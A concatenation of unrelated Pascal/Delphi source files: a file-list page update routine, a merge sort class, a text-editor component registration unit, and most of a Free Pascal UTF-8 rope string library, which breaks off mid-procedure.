begin
inherited;
FilesList.Clear;
Refresh;
end;
procedure TPageFiles.LoadSettings(Sender: TObject; const Args: array of const);
begin
LoadListColumns(FilesList, SFilesColumns, FFilesColumns, DefFilesColumns, nil);
end;
procedure TPageFiles.SaveSettings(Sender: TObject; const Args: array of const);
begin
SaveListColumns(FilesList, SFilesColumns, FFilesColumns, DefFilesColumns);
end;
procedure TPageFiles.Update(UpdateThread: TUpdateThread);
function GetValue(Column: Integer): string;
begin
with FFilesColumns[Column] do
Result := GetFieldValue(UpdateThread.Info, nil, FType, Field);
if SameText(FDir, Copy(Result, 1, Length(FDir))) then
begin
Delete(Result, 1, Length(FDir));
if (Result <> '') and (Result[1] = '\') then
Delete(Result, 1, 1);
end;
end;
var
i, j, Item: Integer;
begin
with UpdateThread do
begin
if not Assigned(Info) or not Info.Has[sfFiles] or (Info[sfGID] <> FGID) then Exit;
SetArray(FUpdateKeys, [sfGID]);
FilesList.BeginUpdate;
try
FilesList.Clear;
FDir := StringReplace(Info[sfDir], '/', '\', [rfReplaceAll]);
Info.Root := sfFiles;
for i := 0 to Info.Length[sfFiles] - 1 do
begin
Info.Index := i;
Item := FilesList.ItemAdd(GetValue(0));
FilesList.ItemObject[Item] := TObject(StrToInt(Info[sfIndex]) - 1);
FilesList.ItemImageIndex[Item] := FileIconIndex(ExtractFileExt(Info[sfPath]), false);
for j := 1 to High(FFilesColumns) do
FilesList.Items[Item, j] := GetValue(j);
end;
finally
FilesList.EndUpdate;
end;
end;
end;
end.
|
unit uMergeSort;
interface
uses
System.SysUtils, System.Math;
type
TMergeSort = Class
public
class function Sort(const pList: TArray<Integer>): TArray<Integer>;
end;
implementation
{ TMergeSort }
class function TMergeSort.Sort(const pList: TArray<Integer>): TArray<Integer>;
var
aList: TArray<Integer>;
aLeft: TArray<Integer>;
aRight: TArray<Integer>;
nMiddle: Integer;
nIndex: Integer;
nLeft: Integer;
nRight: Integer;
begin
if (Length(pList) <= 1) then
Exit(pList);
nMiddle := System.Math.Ceil(Length(pList)/2);
SetLength(aList,Length(pList));
SetLength(aLeft,nMiddle);
SetLength(aRight,(Length(pList)-nMiddle));
for nIndex := System.Math.ZeroValue to Pred(nMiddle) do
aLeft[nIndex] := pList[nIndex];
for nIndex := nMiddle to Pred(Length(pList)) do
aRight[(nIndex-nMiddle)] := pList[nIndex];
aLeft := Sort(aLeft);
aRight := Sort(aRight);
nIndex := System.Math.ZeroValue;
nLeft := System.Math.ZeroValue;
nRight := System.Math.ZeroValue;
while (Length(aLeft) <> nLeft) and (Length(aRight) <> nRight) do
begin
if (aLeft[nLeft] <= aRight[nRight]) then
begin
aList[nIndex] := aLeft[nLeft];
Inc(nLeft);
end
else
begin
aList[nIndex] := aRight[nRight];
Inc(nRight);
end;
Inc(nIndex);
end;
while (Length(aLeft) <> nLeft) do
begin
aList[nIndex] := aLeft[nLeft];
Inc(nLeft);
Inc(nIndex);
end;
while (Length(aRight) <> nRight) do
begin
aList[nIndex] := aRight[nRight];
Inc(nRight);
Inc(nIndex);
end;
Result := aList;
end;
end.
|
unit TextEditor.Register;
interface
uses
System.Classes, TextEditor, TextEditor.Compare.ScrollBar, TextEditor.MacroRecorder, TextEditor.Print,
TextEditor.Print.Preview, TextEditor.SpellCheck;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('TextEditor', [TTextEditor, TDBTextEditor, TTextEditorPrint, TTextEditorPrintPreview,
TTextEditorMacroRecorder, TTextEditorSpellCheck, TTextEditorCompareScrollBar]);
end;
end.
|
{$MODE OBJFPC} { -*- delphi -*- }
{$INCLUDE settings.inc}
unit ropes;
// Note: This is not a http://en.wikipedia.org/wiki/Rope_(data_structure)
// It's just a way to create a string by just referencing underlying strings.
// WARNING: It's very easy, with this API, to shoot yourself in the
// foot. In particular, never assign a rope to another unless you
// immediately discard the former; you'll end up with pointers
// pointing into all kinds of crazy locations and will either crash or
// have security bugs.
interface
uses unicode, utf8;
// Avoid assigning Ropes to other objects (e.g. pass them around using
// pointers or as var or constref arguments). It's ok to do so, but
// it's expensive, since we have to do an exception-safe, thread-safe
// locked reference count inc/dec.
// XXX improvements:
// - avoid Length(), it's expensive
// - make kMinSubslots bigger
type
PRope = ^Rope;
RopeInternals = record
private
type
TRopeFragmentKind = (rfUTF8Buffer, rfUTF8Inline, rfCodepoints);
strict private
type
TFixedSizeRopeFragment = record
case TRopeFragmentKind of
rfUTF8Buffer: (BufferValue: PByte; BufferLength: Cardinal);
rfUTF8Inline: (InlineValue: array[0..0] of Byte; InlineLength: Byte); // store at least one byte
rfCodepoints: (CodepointsValue: array[0..1] of TUnicodeCodepoint; CodepointsLength: Byte); // store at least two characters
end;
private
const
FragmentPayloadSize = SizeOf(TFixedSizeRopeFragment);
UTF8InlineSize = FragmentPayloadSize - SizeOf(Byte);
CodepointsSize = (FragmentPayloadSize-SizeOf(Byte)) div SizeOf(TUnicodeCodepoint);
type
TUTF8InlineIndex = 0..UTF8InlineSize-1;
TUTF8InlineIndexPlusOne = 0..UTF8InlineSize;
TCodepointsIndex = 0..CodepointsSize-1;
TCodepointsIndexPlusOne = 0..CodepointsSize;
TInlineString = String[UTF8InlineSize + 1];
PRopeFragment = ^TRopeFragment;
TRopeFragment = record
Next: PRopeFragment;
case Kind: TRopeFragmentKind of
// it's safe to assume that the first two here end on UTF-8 character boundaries
rfUTF8Buffer: (BufferValue: PByte; BufferLength: Cardinal);
rfUTF8Inline: (InlineValue: array[TUTF8InlineIndex] of Byte; InlineLength: Byte); // make sure this has a trailing zero so we can decode it safely
rfCodepoints: (CodepointsValue: array[TCodepointsIndex] of TUnicodeCodepoint; CodepointsLength: Byte);
end;
TRopeFragmentPosition = record // http://bugs.freepascal.org/view.php?id=26402
CurrentFragment: PRopeFragment;
case TRopeFragmentKind of // CurrentFragment.Kind
rfUTF8Buffer: (BufferIndex: Cardinal; BufferCodepointLength: TZeroableUTF8SequenceLength);
rfUTF8Inline: (InlineIndex: TUTF8InlineIndexPlusOne; InlineCodepointLength: TZeroableUTF8SequenceLength);
rfCodepoints: (CodepointsIndex: TCodepointsIndexPlusOne; CodepointsIndexIncluded: Boolean);
end;
class function Serialise(const FirstFragment: PRopeFragment): UTF8String; static;
end;
TRopePointer = record
private
{$IFOPT C+} FRope: PRope; {$ENDIF}
FPosition: RopeInternals.TRopeFragmentPosition;
FCurrentCharacter: TUnicodeCodepoint;
public
{$IFOPT C+} function IsZeroWidth(): Boolean; {$ENDIF}
{$IFOPT C+} function IsEOF(): Boolean; {$ENDIF}
{$IFOPT C+} procedure AssertIdentity(const Data: PRope); {$ENDIF}
procedure AdvanceToAfter(); inline; // changes to a zero-width pointer; only valid if currently non-zero
procedure ReadCurrent();
procedure AdvanceToNext();
procedure AdvanceToNextFaster(); // still slow, but does not keep track of current character
procedure SetToZeroWidth(); inline; // changes to a zero-width pointer
property CurrentCharacter: TUnicodeCodepoint read FCurrentCharacter; // only valid after AdvanceToNext() or ReadCurrent()
end;
CutRope = record
// use this kind of rope when you want to make sure that if it is appended to another rope,
// it's done as cheaply as currently supported
private
FValue: array of RopeInternals.TRopeFragment; // never grow this array once it's done, or you'll trash the Next pointers
{$IFOPT C+} FRead: Boolean; {$ENDIF}
function GetIsEmpty(): Boolean; inline;
function GetAsString(): UTF8String;
public
class function CreateFrom(const NewString: TUnicodeCodepointArray): CutRope; static; inline;
class function CreateFrom(const NewString: UTF8String): CutRope; static; inline; // this had better be a constant string
function GetAsStringSlow(): UTF8String; // same as .AsString, but allows you to do it more thn once which is a waste in production code)
property IsEmpty: Boolean read GetIsEmpty;
property AsString: UTF8String read GetAsString; // destroys self, to encourage memoisation by the caller if necessary
end;
RopeEnumerator = class;
Rope = record
private
const
kMinBaseSlots = 3;
kMinSubslots = 5;
var
FFilledLength, FLastArrayFilledLength: Cardinal;
FLast: RopeInternals.PRopeFragment;
FValue: array of array of RopeInternals.TRopeFragment;
procedure EnsureSize(const NeededBaseSlots: Cardinal = 1; const NeededSubslots: Cardinal = 1); inline; // inline even though it's complex, because we call it with constants and i want parts of it to get optimised away
// note: never grow a subslot array, since doing so would move the data around and you'd have to redo all the Next pointers
function GetIsEmpty(): Boolean; inline;
function GetAsString(): UTF8String;
public
{$IFOPT C+} procedure AssertInit(); {$ENDIF}
procedure AppendDestructively(var NewString: CutRope); inline; // destroys argument
procedure AppendDestructively(var NewString: Rope); inline; // destroys argument
procedure Append(const NewString: PUTF8String); inline;
procedure Append(const NewString: RopeInternals.TInlineString); inline;
procedure Append(const NewString: TUnicodeCodepoint); inline;
procedure Append(const NewString: TUnicodeCodepointArray); inline; // length of data must be <= CodepointsSize (2)
procedure Append(const NewData: Pointer; const NewLength: QWord); inline;
procedure AppendPossiblyIncomplete(const NewData: Pointer; const NewLength: QWord); inline; unimplemented;
function Extract(constref NewStart, NewEnd: TRopePointer): CutRope; inline;
// includes NewEnd if it is non-zero-width, excludes otherwise
// this does a memory copy into a new string
function ExtractAll(): CutRope; inline;
function ExtractToEnd(constref NewStart: TRopePointer): CutRope; inline;
function CountCharacters(constref NewStart, NewEnd: TRopePointer): Cardinal; inline;
// includes NewEnd if it is non-zero-width, excludes otherwise
// note: this one is expensive (it iterates over the string, parsing UTF8)
function GetEnumerator(): RopeEnumerator; inline;
property IsEmpty: Boolean read GetIsEmpty;
property AsString: UTF8String read GetAsString;
end;
RopeEnumerator = class
private
FPointer: TRopePointer;
public
constructor Create(const NewTarget: PRope);
{$IFOPT C+} procedure AssertIdentity(constref Target: Rope); {$ENDIF}
function MoveNext(): Boolean; inline;
property Current: TUnicodeCodepoint read FPointer.FCurrentCharacter;
function GetPointer(): TRopePointer; inline;
procedure ReturnToPointer(constref NewPointer: TRopePointer); inline;
function GetCurrentAsUTF8(): TUTF8Sequence; inline;
end;
operator = (constref Op1, Op2: TRopePointer): Boolean;
operator < (constref Op1, Op2: TRopePointer): Boolean;
operator <= (constref Op1, Op2: TRopePointer): Boolean;
operator = (constref Op1, Op2: Rope): Boolean;
{$IFDEF VERBOSE} var DebugNow: Boolean = False; {$ENDIF}
implementation
uses
exceptions, sysutils {$IFOPT C+}, rtlutils {$ENDIF};
function Max(const Value1, Value2: Cardinal): Cardinal; inline;
begin
if (Value1 > Value2) then
Result := Value1
else
Result := Value2;
end;
function Max(const Value1, Value2, Value3: Cardinal): Cardinal; inline;
begin
if (Value1 > Value2) then
begin
if (Value1 > Value3) then
Result := Value1 // 1 > 3, 2
else
Result := Value3; // 3 > 1 > 2
end
else
begin
if (Value2 > Value3) then
Result := Value2 // 2 > 3, 1
else
Result := Value3; // 3 > 2 > 1
end;
end;
class function RopeInternals.Serialise(const FirstFragment: PRopeFragment): UTF8String;
var
NeededLength, Offset, Index: Cardinal;
CurrentFragment: RopeInternals.PRopeFragment;
Scratch: TUTF8Sequence;
begin
Assert(Assigned(FirstFragment));
NeededLength := 0;
CurrentFragment := FirstFragment;
repeat
case CurrentFragment^.Kind of
rfUTF8Buffer: Inc(NeededLength, CurrentFragment^.BufferLength);
rfUTF8Inline: Inc(NeededLength, CurrentFragment^.InlineLength);
rfCodepoints:
begin
Assert(CurrentFragment^.CodepointsLength > 0);
for Index := 0 to CurrentFragment^.CodepointsLength-1 do // $R-
Inc(NeededLength, CodepointToUTF8Length(CurrentFragment^.CodepointsValue[Index]));
end;
else
Assert(False);
end;
Assert(CurrentFragment <> CurrentFragment^.Next);
CurrentFragment := CurrentFragment^.Next;
until not Assigned(CurrentFragment);
SetLength(Result, NeededLength);
Offset := 1;
CurrentFragment := FirstFragment;
repeat
case CurrentFragment^.Kind of
rfUTF8Buffer:
begin
{$IFOPT C+}
try
{$ENDIF}
Move(CurrentFragment^.BufferValue^, Result[Offset], CurrentFragment^.BufferLength);
{$IFOPT C+}
except
ReportCurrentException();
FillChar(Result[Offset], CurrentFragment^.BufferLength, '%');
end;
{$ENDIF}
Inc(Offset, CurrentFragment^.BufferLength);
end;
rfUTF8Inline:
begin
Move(CurrentFragment^.InlineValue[0], Result[Offset], CurrentFragment^.InlineLength);
Inc(Offset, CurrentFragment^.InlineLength);
end;
rfCodepoints:
for Index := 0 to CurrentFragment^.CodepointsLength-1 do // $R-
begin
Scratch := CodepointToUTF8(CurrentFragment^.CodepointsValue[Index]);
Move(Scratch.Start, Result[Offset], Scratch.Length);
Inc(Offset, Scratch.Length);
end;
else
Assert(False);
end;
Assert(CurrentFragment <> CurrentFragment^.Next);
CurrentFragment := CurrentFragment^.Next;
until not Assigned(CurrentFragment);
Assert(Offset = Length(Result)+1);
end;
{$IFOPT C+}
function TRopePointer.IsZeroWidth(): Boolean;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: IsZeroWidth() on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
{$IFOPT C+} Assert(Assigned(FRope)); {$ENDIF}
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer: Result := FPosition.BufferCodepointLength = 0;
rfUTF8Inline: Result := FPosition.InlineCodepointLength = 0;
rfCodepoints: Result := not FPosition.CodepointsIndexIncluded;
else
Assert(False);
end;
if (FCurrentCharacter.Value >= 0) then
Assert(not Result)
else
Assert(Result);
end;
{$ENDIF}
{$IFOPT C+}
function TRopePointer.IsEOF(): Boolean;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: IsEOF() on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
{$IFOPT C+} Assert(Assigned(FRope)); {$ENDIF}
if (not Assigned(FPosition.CurrentFragment)) then
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: not Assigned(FPosition.CurrentFragment)', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
Result := True;
end
else
if (Assigned(FPosition.CurrentFragment^.Next)) then
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Assigned(FPosition.CurrentFragment^.Next) on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
Result := False;
end
else
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: not Assigned(FPosition.CurrentFragment^.Next) on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: FPosition.CurrentFragment^.Kind = ', FPosition.CurrentFragment^.Kind); {$ENDIF}
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer: Result := (FPosition.BufferCodepointLength = 0) and (FPosition.BufferIndex = FPosition.CurrentFragment^.BufferLength);
rfUTF8Inline: Result := (FPosition.InlineCodepointLength = 0) and (FPosition.InlineIndex = FPosition.CurrentFragment^.InlineLength);
rfCodepoints: Result := (not FPosition.CodepointsIndexIncluded) and (FPosition.CodepointsIndex = FPosition.CurrentFragment^.CodepointsLength);
else
Assert(False);
end;
end;
{$IFOPT C+}
if (Result) then // {BOGUS Warning: Function result variable does not seem to initialized}
Assert((FCurrentCharacter = kEOF) or (FCurrentCharacter = kNone), 'expected EOF (or none) but had ' + FCurrentCharacter.GetDebugDescription())
else
Assert(FCurrentCharacter <> kEOF);
{$ENDIF}
end;
{$ENDIF}
{$IFOPT C+}
procedure TRopePointer.AssertIdentity(const Data: PRope);
begin
{$IFOPT C+} Assert(Assigned(FRope)); {$ENDIF}
Assert(Data = FRope);
end;
{$ENDIF}
procedure TRopePointer.AdvanceToAfter();
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: AdvanceToAfter() on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
{$IFOPT C+} Assert(Assigned(FRope)); {$ENDIF}
{$IFOPT C+} Assert(not IsZeroWidth()); {$ENDIF}
{$IFOPT C+} Assert(not IsEOF()); {$ENDIF}
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer:
begin
Inc(FPosition.BufferIndex, FPosition.BufferCodepointLength);
FPosition.BufferCodepointLength := 0;
end;
rfUTF8Inline:
begin
Inc(FPosition.InlineIndex, FPosition.InlineCodepointLength);
FPosition.InlineCodepointLength := 0;
end;
rfCodepoints:
begin
Inc(FPosition.CodepointsIndex);
FPosition.CodepointsIndexIncluded := False;
end;
else
Assert(False);
end;
{$IFOPT C+} FCurrentCharacter := kNone; {$ENDIF}
end;
procedure TRopePointer.ReadCurrent();
var
LocalBuffer: array[0..4] of Byte;
NewLength: TUTF8SequenceLength;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: ReadCurrent() on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
{$IFOPT C+}
Assert(Assigned(FRope));
Assert(not IsEOF());
{$ENDIF}
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer:
begin
case (FPosition.CurrentFragment^.BufferLength-FPosition.BufferIndex) of
0: begin
Assert(False);
end;
1: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex)^;
LocalBuffer[1] := 0;
FCurrentCharacter := UTF8ToCodepoint(@LocalBuffer[0], NewLength);
end;
2: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex+1)^;
LocalBuffer[2] := 0;
FCurrentCharacter := UTF8ToCodepoint(@LocalBuffer[0], NewLength);
end;
3: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex+1)^;
LocalBuffer[2] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex+2)^;
LocalBuffer[3] := 0;
FCurrentCharacter := UTF8ToCodepoint(@LocalBuffer[0], NewLength);
end;
else
begin
FCurrentCharacter := UTF8ToCodepoint(FPosition.CurrentFragment^.BufferValue + FPosition.BufferIndex, NewLength);
end;
end;
Assert(NewLength = FPosition.BufferCodepointLength);
end;
rfUTF8Inline:
begin
Assert(FPosition.InlineIndex < FPosition.CurrentFragment^.InlineLength);
FCurrentCharacter := UTF8ToCodepoint(@FPosition.CurrentFragment^.InlineValue[FPosition.InlineIndex], NewLength);
Assert(NewLength = FPosition.InlineCodepointLength);
end;
rfCodepoints:
begin
Assert(FPosition.CodepointsIndex < FPosition.CurrentFragment^.CodepointsLength);
FCurrentCharacter := FPosition.CurrentFragment^.CodepointsValue[FPosition.CodepointsIndex];
end;
else
Assert(False);
end;
end;
procedure TRopePointer.AdvanceToNext();
var
LocalBuffer: array[0..4] of Byte;
procedure MoveToNext();
var
Before, After: PtrUInt;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' AdvanceToNext.MoveToNext() on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
// this is called if we've exhausted the current fragment
if (Assigned(FPosition.CurrentFragment^.Next)) then
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' FPosition.CurrentFragment @', IntToHex(PtrUInt(FPosition.CurrentFragment), 16), ' and is ', FPosition.CurrentFragment^.Kind, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' FPosition.CurrentFragment^.Next @', IntToHex(PtrUInt(FPosition.CurrentFragment^.Next), 16), ' and is ', FPosition.CurrentFragment^.Next^.Kind, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
//Before := PtrUInt(FPosition.CurrentFragment);
Assert(FPosition.CurrentFragment <> FPosition.CurrentFragment^.Next);
FPosition.CurrentFragment := FPosition.CurrentFragment^.Next;
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' FPosition.CurrentFragment is now @', IntToHex(PtrUInt(FPosition.CurrentFragment), 16), ' and is ', FPosition.CurrentFragment^.Kind, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
//Assert(Before <> PtrUInt(FPosition.CurrentFragment));
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer:
begin
FPosition.BufferIndex := 0;
Assert(FPosition.CurrentFragment^.BufferLength > 0);
case (FPosition.CurrentFragment^.BufferLength) of
1: begin
LocalBuffer[0] := FPosition.CurrentFragment^.BufferValue^;
LocalBuffer[1] := 0;
FCurrentCharacter := UTF8ToCodepoint(@LocalBuffer[0], FPosition.BufferCodepointLength);
end;
2: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+1)^;
LocalBuffer[2] := 0;
FCurrentCharacter := UTF8ToCodepoint(@LocalBuffer[0], FPosition.BufferCodepointLength);
end;
3: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+1)^;
LocalBuffer[2] := (FPosition.CurrentFragment^.BufferValue+2)^;
LocalBuffer[3] := 0;
FCurrentCharacter := UTF8ToCodepoint(@LocalBuffer[0], FPosition.BufferCodepointLength);
end;
else
FCurrentCharacter := UTF8ToCodepoint(FPosition.CurrentFragment^.BufferValue, FPosition.BufferCodepointLength);
end;
Assert(FPosition.BufferIndex <= FPosition.CurrentFragment^.BufferLength); // should not go over what we have...
end;
rfUTF8Inline:
begin
FPosition.InlineIndex := 0;
Assert(FPosition.CurrentFragment^.InlineLength > 0);
FCurrentCharacter := UTF8ToCodepoint(@FPosition.CurrentFragment^.InlineValue[0], FPosition.InlineCodepointLength);
Assert(FPosition.InlineIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.InlineLength);
end;
rfCodepoints:
begin
FPosition.CodepointsIndex := 0;
Assert(FPosition.CurrentFragment^.CodepointsLength > 0);
FCurrentCharacter := FPosition.CurrentFragment^.CodepointsValue[0];
FPosition.CodepointsIndexIncluded := True;
end;
else
begin
Assert(False);
{$IFOPT C+} FCurrentCharacter := kNone; {$ENDIF}
end;
end;
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' new fragment is @', IntToHex(PtrUInt(FPosition.CurrentFragment), 16), ' and is ', FPosition.CurrentFragment^.Kind, '; FCurrentCharacter is U+', IntToHex(FCurrentCharacter.Value, 5), ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
end
else
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' reached end of rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
FCurrentCharacter := kEOF;
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer: FPosition.BufferCodepointLength := 0;
rfUTF8Inline: FPosition.InlineCodepointLength := 0;
rfCodepoints: FPosition.CodepointsIndexIncluded := False;
else
Assert(False);
end;
end;
end;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: AdvanceToNext() on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
{$IFOPT C+} Assert(Assigned(FRope)); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' current fragment @', IntToHex(PtrUInt(FPosition.CurrentFragment), 16), ' is ', FPosition.CurrentFragment^.Kind, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer:
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' current fragment is rfUTF8Buffer (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' FPosition.BufferCodepointLength = ', FPosition.BufferCodepointLength, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
if (FPosition.BufferCodepointLength > 0) then
Inc(FPosition.BufferIndex, FPosition.BufferCodepointLength);
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' FPosition.BufferIndex (post inc) = ', FPosition.BufferIndex, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
Assert(FPosition.BufferIndex <= FPosition.CurrentFragment^.BufferLength); // UTF-8 can't span boundaries, so we can't have advanced past the boundary
case (FPosition.CurrentFragment^.BufferLength-FPosition.BufferIndex) of
0: begin
MoveToNext();
end;
1: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex)^;
LocalBuffer[1] := 0;
FCurrentCharacter := UTF8ToCodepoint(@LocalBuffer[0], FPosition.BufferCodepointLength);
Assert(FPosition.BufferIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.BufferLength); // should still not be more than we have...
end;
2: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex+1)^;
LocalBuffer[2] := 0;
FCurrentCharacter := UTF8ToCodepoint(@LocalBuffer[0], FPosition.BufferCodepointLength);
Assert(FPosition.BufferIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.BufferLength); // should still not be more than we have...
end;
3: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex+1)^;
LocalBuffer[2] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex+2)^;
LocalBuffer[3] := 0;
FCurrentCharacter := UTF8ToCodepoint(@LocalBuffer[0], FPosition.BufferCodepointLength);
Assert(FPosition.BufferIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.BufferLength); // should still not be more than we have...
end;
else
begin
FCurrentCharacter := UTF8ToCodepoint(FPosition.CurrentFragment^.BufferValue + FPosition.BufferIndex, FPosition.BufferCodepointLength);
Assert(FPosition.BufferIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.BufferLength); // should still not be more than we have...
end;
end;
end;
rfUTF8Inline:
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' current fragment is rfUTF8Inline (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' FPosition.InlineCodepointLength = ', FPosition.InlineCodepointLength, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
if (FPosition.InlineCodepointLength > 0) then
Inc(FPosition.InlineIndex, FPosition.InlineCodepointLength);
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' FPosition.InlineIndex (post inc) = ', FPosition.InlineIndex, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
Assert(FPosition.InlineIndex <= FPosition.CurrentFragment^.InlineLength); // UTF-8 can't span boundaries, so we can't have advanced past the boundary
if (FPosition.InlineIndex = FPosition.CurrentFragment^.InlineLength) then
begin
MoveToNext();
end
else
begin
FCurrentCharacter := UTF8ToCodepoint(@FPosition.CurrentFragment^.InlineValue[FPosition.InlineIndex], FPosition.InlineCodepointLength);
Assert(FPosition.InlineIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.InlineLength); // should still not be more than we have...
end;
end;
rfCodepoints:
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' current fragment is rfCodepoints (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' FPosition.CodepointsIndexIncluded = ', FPosition.CodepointsIndexIncluded, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
if (FPosition.CodepointsIndexIncluded) then
Inc(FPosition.CodepointsIndex);
{$IFDEF VERBOSE} if (DebugNow) then Writeln(' FPosition.CodepointsIndex (post inc) = ', FPosition.CodepointsIndex, ' (rope pointer now @', IntToHex(PtrUInt(@Self), 16), ')'); {$ENDIF}
Assert(FPosition.CodepointsIndex <= FPosition.CurrentFragment^.CodepointsLength);
if (FPosition.CodepointsIndex = FPosition.CurrentFragment^.CodepointsLength) then
begin
MoveToNext()
end
else
begin
FCurrentCharacter := FPosition.CurrentFragment^.CodepointsValue[FPosition.CodepointsIndex];
FPosition.CodepointsIndexIncluded := True;
end;
end;
else
Assert(False);
end;
end;
procedure TRopePointer.AdvanceToNextFaster();
var
LocalBuffer: array[0..4] of Byte;
procedure MoveToNext();
begin
// this is called if we've exhausted the current fragment
if (Assigned(FPosition.CurrentFragment^.Next)) then
begin
Assert(FPosition.CurrentFragment <> FPosition.CurrentFragment^.Next);
FPosition.CurrentFragment := FPosition.CurrentFragment^.Next;
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer:
begin
FPosition.BufferIndex := 0;
Assert(FPosition.CurrentFragment^.BufferLength > 0);
case (FPosition.CurrentFragment^.BufferLength) of
1: begin
LocalBuffer[0] := FPosition.CurrentFragment^.BufferValue^;
LocalBuffer[1] := 0;
FPosition.BufferCodepointLength := UTF8ToUTF8Length(@LocalBuffer[0]);
end;
2: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+1)^;
LocalBuffer[2] := 0;
FPosition.BufferCodepointLength := UTF8ToUTF8Length(@LocalBuffer[0]);
end;
3: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+1)^;
LocalBuffer[2] := (FPosition.CurrentFragment^.BufferValue+2)^;
LocalBuffer[3] := 0;
FPosition.BufferCodepointLength := UTF8ToUTF8Length(@LocalBuffer[0]);
end;
else
FPosition.BufferCodepointLength := UTF8ToUTF8Length(FPosition.CurrentFragment^.BufferValue);
end;
Assert(FPosition.BufferIndex <= FPosition.CurrentFragment^.BufferLength); // should not go over what we have...
end;
rfUTF8Inline:
begin
